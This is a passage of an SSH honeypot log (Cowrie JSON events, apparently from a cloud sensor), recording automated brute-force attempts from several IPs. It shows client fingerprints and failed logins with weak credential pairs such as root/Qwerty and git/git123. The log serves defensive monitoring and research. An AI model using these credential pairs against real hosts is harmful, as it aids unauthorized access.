0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:17.031404Z","src_ip":"5.196.136.131","session":"8408435ae688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:17.262717Z","src_ip":"5.196.136.131","session":"8408435ae688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:18.340887Z","src_ip":"5.196.136.131","session":"8408435ae688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.184.118","src_port":56412,"dst_ip":"10.17.0.5","dst_port":22,"session":"a61605fdf1b8","protocol":"ssh","message":"New connection: 92.205.184.118:56412 (10.17.0.5:22) [session: a61605fdf1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:18.775129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:18.779226Z","src_ip":"92.205.184.118","session":"a61605fdf1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:18.869154Z","src_ip":"92.205.184.118","session":"a61605fdf1b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2024#","message":"login attempt [root/unitedstates2024#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:19.140387Z","src_ip":"92.205.184.118","session":"a61605fdf1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:20.232619Z","src_ip":"92.205.184.118","session":"a61605fdf1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10299,"dst_ip":"10.17.0.5","dst_port":22,"session":"1193ad57aa8d","protocol":"ssh","message":"New connection: 5.196.136.131:10299 (10.17.0.5:22) [session: 1193ad57aa8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:21.379097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:21.382685Z","src_ip":"5.196.136.131","session":"1193ad57aa8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:21.461413Z","src_ip":"5.196.136.131","session":"1193ad57aa8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:21.698747Z","src_ip":"5.196.136.131","session":"1193ad57aa8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:22.780329Z","src_ip":"5.196.136.131","session":"1193ad57aa8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10758,"dst_ip":"10.17.0.5","dst_port":22,"session":"2064420fd17f","protocol":"ssh","message":"New connection: 5.196.136.131:10758 (10.17.0.5:22) [session: 2064420fd17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:25.829229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:25.832854Z","src_ip":"5.196.136.131","session":"2064420fd17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:25.909805Z","src_ip":"5.196.136.131","session":"2064420fd17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:26.153884Z","src_ip":"5.196.136.131","session":"2064420fd17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:27.234931Z","src_ip":"5.196.136.131","session":"2064420fd17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29798,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee30324c82d","protocol":"ssh","message":"New connection: 5.196.136.131:29798 (10.17.0.5:22) [session: 5ee30324c82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:30.195350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:30.198852Z","src_ip":"5.196.136.131","session":"5ee30324c82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:30.275571Z","src_ip":"5.196.136.131","session":"5ee30324c82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:30.535883Z","src_ip":"5.196.136.131","session":"5ee30324c82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:31.615168Z","src_ip":"5.196.136.131","session":"5ee30324c82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52113,"dst_ip":"10.17.0.5","dst_port":22,"session":"24129233b288","protocol":"ssh","message":"New connection: 5.196.136.131:52113 (10.17.0.5:22) [session: 24129233b288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:34.509375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:34.513457Z","src_ip":"5.196.136.131","session":"24129233b288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:34.589522Z","src_ip":"5.196.136.131","session":"24129233b288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:34.820064Z","src_ip":"5.196.136.131","session":"24129233b288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:35.898475Z","src_ip":"5.196.136.131","session":"24129233b288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce5b3fd5a0d","protocol":"ssh","message":"New connection: 162.215.213.210:55540 (159.203.135.109:22) [session: fce5b3fd5a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:37.586688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:37.590219Z","src_ip":"162.215.213.210","session":"fce5b3fd5a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:37.679240Z","src_ip":"162.215.213.210","session":"fce5b3fd5a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render456","message":"login attempt [root/render456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:37.946383Z","src_ip":"162.215.213.210","session":"fce5b3fd5a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25950,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b19ed687877","protocol":"ssh","message":"New connection: 5.196.136.131:25950 (10.17.0.5:22) [session: 8b19ed687877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:38.922886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:38.926204Z","src_ip":"5.196.136.131","session":"8b19ed687877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:39.002758Z","src_ip":"5.196.136.131","session":"8b19ed687877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:39.233606Z","src_ip":"5.196.136.131","session":"8b19ed687877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:39.919445Z","src_ip":"162.215.213.210","session":"fce5b3fd5a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:40.314713Z","src_ip":"5.196.136.131","session":"8b19ed687877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":64667,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e77cbd8ba7","protocol":"ssh","message":"New connection: 5.196.136.131:64667 (10.17.0.5:22) [session: c1e77cbd8ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.369608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.373194Z","src_ip":"5.196.136.131","session":"c1e77cbd8ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.447847Z","src_ip":"5.196.136.131","session":"c1e77cbd8ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.45.254","src_port":54056,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a54d1eaa87d","protocol":"ssh","message":"New connection: 45.43.45.254:54056 (10.17.0.5:22) [session: 7a54d1eaa87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.492105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.495601Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.675318Z","src_ip":"5.196.136.131","session":"c1e77cbd8ba7","protocol":"ssh"}
